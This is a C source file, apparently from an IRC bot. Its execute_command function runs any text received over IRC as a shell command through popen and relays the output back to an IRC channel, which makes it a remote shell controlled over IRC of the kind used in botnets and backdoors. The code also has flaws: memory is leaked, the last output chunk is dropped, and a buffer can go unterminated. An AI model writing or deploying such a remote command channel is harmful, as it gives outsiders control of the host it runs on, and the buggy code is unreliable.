

#include <stdio.h>
#include <string.h>
#include "libircclient.h"
#include "structs.h"

#define exitcommand "!byes"

/*
 * execute a command
 * 
 * 
 */
void execute_command(const char * command,irc_session_t * session,irc_ctx_t * ctx)
{
	int buffsize = 128;
	int sendbuffsize = 1028;
	char * buff = malloc(buffsize);
	char * sendbuff = malloc(sendbuffsize);
	int commandbufflen = strlen(command) + 1;
	char * commandbuff = malloc(commandbufflen);
	memset(commandbuff,0,commandbufflen);
	strcpy(commandbuff,command);
	
	char * program = strtok(commandbuff," ");
	
	if(!strcmp(command,exitcommand))
	{
		ctx->exitflag = 1;
		free(sendbuff);
		free(buff);
		return;
	}
	
	if(!strcmp(program,"cd"))
	{
		char * param = strtok(NULL," ");
		if (!param)
			param = getenv("HOME");
		chdir(param);
	} 
	else
	{
		
		FILE * comm = popen(command,"r+");
		
		while(fread(buff,buffsize,1,comm) > 0)
		{
			if(ctx->exitflag)
				break;
			int buffcounter = 0;
			for (int index = 0; index < buffsize; index++)
				if(buff[index] == '\n')
				{
					irc_cmd_msg(session,ctx->report,sendbuff);
					memset(sendbuff,0,sendbuffsize);
					buffcounter = 0;
				}
				else
				{
					sendbuff[buffcounter++] = buff[index];
					if(buffcounter>=sendbuffsize)
					{
						irc_cmd_msg(session,ctx->report,sendbuff);
						memset(sendbuff,0,sendbuffsize);
						buffcounter = 0;
					}
				}
		}
		pclose(comm);
	}
	free(sendbuff);
	free(buff);
}
